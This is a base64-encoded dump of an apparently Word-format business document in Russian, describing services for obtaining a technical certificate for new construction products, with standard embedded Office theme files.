BDgETwQgACIENQRFBD0EOARHBDUEQQQ6BD4EMwQ+BCAAQQQyBDgENAQ1BEIENQQ7BEwEQQRCBDIE MAQgAD0EMAQgAD0EPgQyBEMETgQgAD8EQAQ+BDQEQwQ6BEYEOAROBC4ADQATBD4EQQRDBDQEMARA BEEEQgQyBDUEPQQ9BDAETwQgAEAENQQzBDgEQQRCBEAEMARGBDgETwQgAD8EQAQwBDIEIAA9BDAE IAAyBD0EPgQyBEwEIABBBD4ENwQ0BDAEPQQ9BEsEOQQgAD4EMQRKBDUEOgRCBCAAPQQ1BDQEMgQ4 BDYEOAQ8BD4EQQRCBDgELgAgABMEPgRBBEMENAQwBEAEQQRCBDIENQQ9BD0ESwQ5BCAAOgQwBDQE MARBBEIEQAQ+BDIESwQ5BCAAQwRHBDUEQgQgAD4EMQRKBDUEOgRCBD4EMgQgAD0ENQQ0BDIEOAQ2 BDgEPAQ+BEEEQgQ4BC4ADQAeBEEEPQQ+BDIEPQRLBDUEIAA+BEgEOAQxBDoEOAQgADIEOwQ4BE8E TgRJBDgENQQgAD0EMAQgAEEEQAQ+BDoEOAQgADIEMgQ+BDQEMAQgAD4EMQRKBDUEOgRCBDAEIAA9 BDUENAQyBDgENgQ4BDwEPgRBBEIEOAQgADIEIABNBDoEQQQ/BDsEQwQwBEIEMARGBDgETgQuACAA HwRABDAEOgRCBDgEOgQwBCAAPwRABDgEMgQ7BDUERwQ1BD0EOARPBCAAOgQgADAENAQ8BDgEPQQ4 BEEEQgRABDAEQgQ4BDIEPQQ+BDkEIAA4BCAAQwQzBD4EOwQ+BDIEPQQ+BDkEIAA+BEIEMgQ1BEIE QQRCBDIENQQ9BD0EPgRBBEIEOAQgADcEMAQgAD8EQAQwBDIEPgQ9BDAEQARDBEgENQQ9BDgETwQg ADIEIAA+BDEEOwQwBEEEQgQ4BCAAQQRCBEAEPgQ4BEIENQQ7BEwEQQRCBDIEMAQuAA0AHgRBBD4E MQQ1BD0EPQQ+BEEEQgQ4BCAAMgQyBD4ENAQwBCAAMgQgAE0EOgRBBD8EOwRDBDAEQgQwBEYEOARO BCAAPgQ/BDAEQQQ9BEsERQQgAD8EQAQ+BDgENwQyBD4ENARBBEIEMgQ1BD0EPQRLBEUEIAA+BDEE SgQ1BDoEQgQ+BDIELgANAB4EQQQ+BDEENQQ9BD0EPgRBBEIEOAQgADIEMgQ+BDQEMAQgADIEIABN BDoEQQQ/BDsEQwQwBEIEMARGBDgETgQgADgEIAA/BD4EQARPBDQEPgQ6BCAAPwQ1BEAENQQ0BDAE RwQ4BCAAPQQwBCAAMQQwBDsEMAQ9BEEEIAA4BD0ENgQ1BD0ENQRABD0ESwRFBCAAQQQ1BEIENQQ5 BC4AIAAfBD4EQARPBDQEPgQ6BCAANAQ+BD8EQwRBBDoEMAQgADIEIABNBDoEQQQ/BDsEQwQwBEIE MARGBDgETgQgAD4EMQQ+BEAEQwQ0BD4EMgQwBD0EOARPBCAAQgQ1BD8EOwQ+BDIESwRFBCAAQwRB BEIEMAQ9BD4EMgQ+BDoELgANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAKAgAACoI AAAsCAAABAsAAAYLAABwCwAAcgsAAMANAADCDQAAwg4AAMQOAAA6EAAAPBAAAMIQAADEEAAA4hEA AN69nH5jfmN+Y0UqRSpFKkU1FWg2Q8IAFmg8Pm4AQioBQ0obAE9KAwBQSgQAUUoDAF5KBABhShsA bkgZBHBoAAAAAHRIGQQ7FWg2Q8IAFmg8Pm4ANQiBQioBQ0obAE9KAwBQSgQAUUoDAFwIgV5KBABh ShsAbkgZBHBoAAAAAHRIGQQ1FWg2Q8IAFmgcCOQAQioBQ0obAE9KAwBQSgQAUUoDAF5KBABhShsA bkgZBHBoAAAAAHRIGQQ7FWg2Q8IAFmgcCOQANQiBQioBQ0obAE9KAwBQSgQAUUoDAFwIgV5KBABh ShsAbkgZBHBoAAAAAHRIGQRBFWg2Q8IAFmhMShMANQiBNgiBPioBQioBQ0obAE9KAwBQSgQAUUoD AFwIgV5KBABhShsAbkgZBHBoAAAAAHRIGQRBFWg2Q8IAFmhMShMANQiBNgiBPioBQioBQ0oYAE9K AwBQSgQAUUoDAFwIgV5KBABhShgAbkgZBHBoAAAAAHRIGQRBFWg2Q8IAFmgcCOQANQiBNgiBPioB QioBQ0oYAE9KAwBQSgQAUUoDAFwIgV5KBABhShgAbkgZBHBoAAAAAHRIGQQAEAAIAAAsCAAABgsA AHILAADCDQAAxA4AADwQAADEEAAA5BEAAFAaAACmHAAAIB0AACQdAAAmHQAAKh0AACwdAAAwHQAA Mh0AADYdAAA4HQAAah0AAGwdAABuHQAAcB0AAPUAAAAAAAAAAAAAAADoAAAAAAAAAAAAAAAA6AAA AAAAAAAAAAAAAOgAAAAAAAAAAAAAAADoAAAAAAAAAAAAAAAA6AAAAAAAAAAAAAAAAOgAAAAAAAAA AAAAAADoAAAAAAAAAAAAAAAA6AAAAAAAAAAAAAAAAOgAAAAAAAAAAAAAAADbAAAAAAAAAAAAAAAA 0QAAAAAAAAAAAAAAAM8AAAAAAAAAAAAAAADRAAAAAAAAAAAAAAAAzwAAAAAAAAAAAAAAANEAAAAA AAAAAAAAAADPAAAAAAAAAAAAAAAA0QAAAAAAAAAAAAAAAM8AAAAAAAAAAAAAAADNAAAAAAAAAAAA AAAAzwAAAAAAAAAAAAAAAM8AAAAAAAAAAAAAAADbAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAEUAAABAAAACQAAEmTwAAEAFKQAAGdkTEoTAAAMAAADJAESZGgBAQAUpAAAYSQBZ2QcCOQADQAA CiYAC0YBABJkaAEBABSkAABnZBwI5AAACQAAEmRoAQEAFKQAAGdkHAjkAAAXHwRABD4ERgQ1BDQE QwRABDAEIAAyBEsENAQwBEcEOAQgADcEMAQ6BDsETgRHBDUEPQQ4BE8EIAA+BCAAQQQ+BD4EQgQy BDUEQgRBBEIEMgQ4BDgEIAA/BD4EQQRCBEAEPgQ1BD0EPQQ+BDMEPgQgAD4EMQRKBDUEOgRCBDAE IAA/BEAEPgQ1BDoEQgQ9BD4EOQQgADQEPgQ6BEMEPAQ1BD0EQgQwBEYEOAQ4BCAAOAQgAEIEQAQ1 BDEEPgQyBDAEPQQ4BE8EPAQgAEIENQRFBD0EOARHBDUEQQQ6BDgERQQgAEAENQQzBDsEMAQ8BDUE PQRCBD4EMgQuACAAEwRABDAERAQ4BDoEIABABDAEMQQ+BEIEIAA/BD4EIABBBDQEMARHBDUEIAA+ BDEESgQ1BDoEQgQwBCAAMgQgAE0EOgRBBD8EOwRDBDAEQgQwBEYEOAROBC4AIAAgBDAEMQQ+BEcE MARPBCAAPwRABDgENQQ8BD0EMARPBCAAOgQ+BDwEOARBBEEEOARPBCAAKABBBD4EQQRCBDAEMgQs ACAAPgQxBE8ENwQwBD0EPQQ+BEEEQgQ4BCwAIAAwBDoEQgRLBCkALgAgABQENQQ5BEEEQgQyBDgE TwQgADgEQQQ/BD4EOwQ9BDgEQgQ1BDsETAQ9BD4EMwQ+BCAAPgRABDMEMAQ9BDAEIAAyBDsEMARB BEIEOAQgAD8EQAQ4BCAAMgQyBD4ENAQ1BCAAPgQxBEoENQQ6BEIEMAQgADoEMAQ/BDgEQgQwBDsE TAQ9BD4EMwQ+BCAAQQRCBEAEPgQ4BEIENQQ7BEwEQQRCBDIEMAQgADIEIABNBDoEQQQ/BDsEQwQw BEIEMARGBDgETgQuACAAHgRBBD0EPgQyBD0ESwQ1BCAAPQQwBDQENwQ+BEAEPQRLBDUEIAA8BDUE QAQ+BD8EQAQ4BE8EQgQ4BE8EIAA/BD4EIAA+BDEESgQ1BDoEQgQwBDwELAAgADcEMAQ6BD4EPQRH BDUEPQQ9BEsEPAQgAEEEQgRABD4EOARCBDUEOwRMBEEEQgQyBD4EPAQuACAAIQQ+BEEEQgQwBDIE IAA0BD4EOgRDBDwENQQ9BEIEPgQyBCwAIAA9BDUEPgQxBEUEPgQ0BDgEPARLBEUEIAA0BDsETwQg AD8EPgQ0BD8EOARBBDAEPQQ4BE8EIABABDAENwRABDUESAQ1BD0EOARPBCAAPQQwBCAAMgQyBD4E NAQgAD4EMQRKBDUEOgRCBDAEIAAyBCAATQQ6BEEEPwQ7BEMEMARCBDAERgQ4BE4EIAAoADQEPgQ/ BEMEQQRCBDgEPARLBDUEIAA9BDUENAQ+BEEEQgQwBEIEOgQ4BCAANAQ7BE8EIAA/BD4EOwRDBEcE NQQ9BDgETwQgADcEMAQ6BDsETgRHBDUEPQQ4BE8EIAA+BCAAQQQ+BD4EQgQyBDUEQgRBBEIEMgQ4 BDgEKQAuAA0AIQQ+BDIEQAQ1BDwENQQ9BD0EMARPBCAANwQwBDoEPgQ9BD4ENAQwBEIENQQ7BEwE PQQ+BC0APQQ+BEAEPAQwBEIEOAQyBD0EMARPBCAAMQQwBDcEMAQgADgEPQQyBDUEQQRCBDgERgQ4 BD4EPQQ9BD4ELQBBBEIEQAQ+BDgEQgQ1BDsETAQ9BD4EMwQ+BCAAPwRABD4ERgQ1BEEEQQQwBCAA MgQgAEIELgBHBC4AIAA9BD4EMgRLBDkEIAATBEAEMAQ0BD4EQQRCBEAEPgQ4BEIENQQ7BEwEPQRL BDkEIAAaBD4ENAQ1BDoEQQQgACAEJAQgADgEIAA0BEAEQwQzBDgENQQgADQEPgQ6BEMEPAQ1BD0E QgRLBC4AIAAXBDAEOgQ+BD0EPgQ0BDAEQgQ1BDsETAQ9BD4ENQQgAEAENQQzBEMEOwQ4BEAEPgQy BDAEPQQ4BDUEIAA4BCAAPgQxBEkEMARPBCAARQQwBEAEMAQ6BEIENQRABDgEQQRCBDgEOgQwBCAA NAQ+BDMEPgQyBD4EQAQ9BEsERQQgAD4EQgQ9BD4ESAQ1BD0EOAQ5BCAAMgQgAEEEQgRABD4EOARC BDUEOwRMBEEEQgQyBDUELgAgACEERAQ1BEAEMAQgAD8EQAQ4BDwENQQ9BDUEPQQ4BE8EIAA3BDAE OgQ+BD0EPgQ0BDAEQgQ1BDsETARBBEIEMgQwBCAAPgQxBCAAOAQ9BDIENQRBBEIEOARGBDgEPgQ9 BD0EPgQ5BCAANAQ1BE8EQgQ1BDsETAQ9BD4EQQRCBDgELgANABIEQQRPBCAANAQ+BD8EPgQ7BD0E OARCBDUEOwRMBD0EMARPBCAAOAQ9BEQEPgRABDwEMARGBDgETwQgADQEPgRBBEIEQwQ/BD0EMAQg AD8EPgQgAEIENQQ7BDUERAQuACAAHgRABDMEOgQ+BDwEOARCBDUEQgQwBA0AAwANAA0ABAANAA0A AwANAA0ABAANAA0AIgQ1BDsENQREBD4EPQQ6ACAAKAA4ADEAMgApACAAOQA4ADcAIAA4ADMAIAA0 ADkADQANAA0ADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADiEQAA5BEAAAAWAABOGgAA UBoAAKQcAACmHAAArBwAAPIcAAD4HAAA5OLE5KaLbU8xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADsVaDZDwgAWaAB22wA1CIFCKglDSjAAT0oDAFBKBABR SgMAXAiBXkoEAGFKMABuSBkEcGgzAJkAdEgZBDsVaDZDwgAWaDw+bgA1CIFCKglDSjAAT0oDAFBK BABRSgMAXAiBXkoEAGFKMABuSBkEcGgzAJkAdEgZBDsVaDZDwgAWaBwI5AA1CIFCKglDSjAAT0oD AFBKBABRSgMAXAiBXkoEAGFKMABuSBkEcGgzAJkAdEgZBDUVaDZDwgAWaDAqPABCKgFDShsAT0oD AFBKBABRSgMAXkoEAGFKGwBuSBkEcGgAAAAAdEgZBDsVaDZDwgAWaDAqPAA1CIFCKgFDShsAT0oD AFBKBABRSgMAXAiBXkoEAGFKGwBuSBkEcGgAAAAAdEgZBDsVaDZDwgAWaDw+bgA1CIFCKgFDShsA T0oDAFBKBABRSgMAXAiBXkoEAGFKGwBuSBkEcGgAAAAAdEgZBANVCAE1FWg2Q8IAFmg8Pm4AQioB Q0obAE9KAwBQSgQAUUoDAF5KBABhShsAbkgZBHBoAAAAAHRIGQQACfgcAAAAHQAABB0AAAYdAAAI HQAACh0AAB4dAAAgHQAAIh0AACYdAAAoHQAALB0AAC4dAAAyHQAANB0AADgdAABGHQAASh0AAOHD pYelaVpSTlJOUk5STkIzAAAAAAAAAAAAAAAAAB0VaKx8DQAWaI9I3wA1CIE2CIE+KgFDSigAYUoo ABcWaDZ6OQA1CIE2CIE+KgFDSigAYUooAAYWaGgliQAADwNqAAAAABZoaCWJAFUIARwVaDZDwgAW aGgliQBPSgMAUEoEAFFKAwBeSgQAADsVaDZDwgAWaC9QegA1CIFCKglDSjAAT0oDAFBKBABRSgMA XAiBXkoEAGFKMABuSBkEcGgzAJkAdEgZBDsVaDZDwgAWaDw+bgA1CIFCKglDSjAAT0oDAFBKBABR SgMAXAiBXkoEAGFKMABuSBkEcGgzAJkAdEgZBDsVaDZDwgAWaDAqPAA1CIFCKglDSjAAT0oDAFBK BABRSgMAXAiBXkoEAGFKMABuSBkEcGgzAJkAdEgZBDsVaDZDwgAWaBwI5AA1CIFCKglDSjAAT0oD AFBKBABRSgMAXAiBXkoEAGFKMABuSBkEcGgzAJkAdEgZBDsVaDZDwgAWaExKEwA1CIFCKglDSjAA T0oDAFBKBABRSgMAXAiBXkoEAGFKMABuSBkEcGgzAJkAdEgZBAARSh0AAEwdAABSHQAAVB0AAGgd AABqHQAAbh0AAHAdAADw4dXhy8e4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAcFWg2Q8IAFmhoJYkAT0oDAFBKBABRSgMAXkoEAAAGFmhoJYkAABIVaKx8DQAWaExK EwA2CIE+KgEAFxZoHAjkADUIgTYIgT4qAUNKKABhSigAHRVoHAjkABZoHAjkADUIgTYIgT4qAUNK KABhSigAHRVorHwNABZoTEoTADUIgTYIgT4qAUNKKABhSigAAAcsADGQaAEfsIIuILDGQSGwpQYi sFIDI5BuBCSQbgQlsAAAF7DEAhiwxAIMkMQCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGoEGAASAAEACwEPAAcABQAFAAUA AAAEAAgAAACYAAAAngAAAJ4AAACeAAAAngAAAJ4AAACeAAAAngAAAJ4AAAA2BgAANgYAADYGAAA2 BgAANgYAADYGAAA2BgAANgYAADYGAAB2AgAAdgIAAHYCAAB2AgAAdgIAAHYCAAB2AgAAdgIAAHYC AAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA+AgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYA ADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAA NgYAADYGAAA2BgAANgYAADYGAAA2BgAAqAAAADYGAAA2BgAAFgAAADYGAAA2BgAANgYAADYGAAA2 BgAANgYAADYGAAA2BgAAuAAAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYG AAA2BgAANgYAAGgBAABIAQAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYA ADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAA NgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2 BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYG AAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAACwAwAANgYA ADIGAAAYAAAAwAMAANADAADgAwAA8AMAAAAEAAAQBAAAIAQAADAEAABABAAAUAQAAGAEAABwBAAA gAQAAJAEAADAAwAA0AMAAOADAADwAwAAAAQAABAEAAAyBgAAKAIAANgBAADoAQAAIAQAADAEAABA BAAAUAQAAGAEAABwBAAAgAQAAJAEAADAAwAA0AMAAOADAADwAwAAAAQAABAEAAAgBAAAMAQAAEAE AABQBAAAYAQAAHAEAACABAAAkAQAAMADAADQAwAA4AMAAPADAAAABAAAEAQAACAEAAAwBAAAQAQA AFAEAABgBAAAcAQAAIAEAACQBAAAwAMAANADAADgAwAA8AMAAAAEAAAQBAAAIAQAADAEAABABAAA UAQAAGAEAABwBAAAgAQAAJAEAADAAwAA0AMAAOADAADwAwAAAAQAABAEAAAgBAAAMAQAAEAEAABQ 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 JwAAAHRoZW1lL3RoZW1lL19yZWxzL3RoZW1lTWFuYWdlci54bWwucmVsc4SPTQrCMBSE94J3CG9v 07oQkSbdiNCt1AOE5DUNNj8kUeztDa4sCC6HYb6ZabuXnckTYzLeMWiqGgg66ZVxmsFtuOyOQFIW TonZO2SwYIKObzftFWeRSyhNJiRSKC4xmHIOJ0qTnNCKVPmArjijj1bkIqOmQci70Ej3dX2g8ZsB fMUkvWIQe9UAGZZQmv+z/TgaiWcvHxZd/lFBc9mFBSiixszgI5uqTATKW7q6xN8AAAD//wMAUEsB Ai0AFAAGAAgAAAAhAOneD7//AAAAHAIAABMAAAAAAAAAAAAAAAAAAAAAAFtDb250ZW50X1R5cGVz XS54bWxQSwECLQAUAAYACAAAACEApdan58AAAAA2AQAACwAAAAAAAAAAAAAAAAAwAQAAX3JlbHMv LnJlbHNQSwECLQAUAAYACAAAACEAa3mWFoMAAACKAAAAHAAAAAAAAAAAAAAAAAAZAgAAdGhlbWUv dGhlbWUvdGhlbWVNYW5hZ2VyLnhtbFBLAQItABQABgAIAAAAIQClXn0txwYAANcbAAAWAAAAAAAA AAAAAAAAANYCAAB0aGVtZS90aGVtZS90aGVtZTEueG1sUEsBAi0AFAAGAAgAAAAhAA3RkJ+2AAAA GwEAACcAAAAAAAAAAAAAAAAA0QkAAHRoZW1lL3RoZW1lL19yZWxzL3RoZW1lTWFuYWdlci54bWwu cmVsc1BLBQYAAAAABQAFAF0BAADMCgAAAAA8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJV VEYtOCIgc3RhbmRhbG9uZT0ieWVzIj8+DQo8YTpjbHJNYXAgeG1sbnM6YT0iaHR0cDovL3NjaGVt 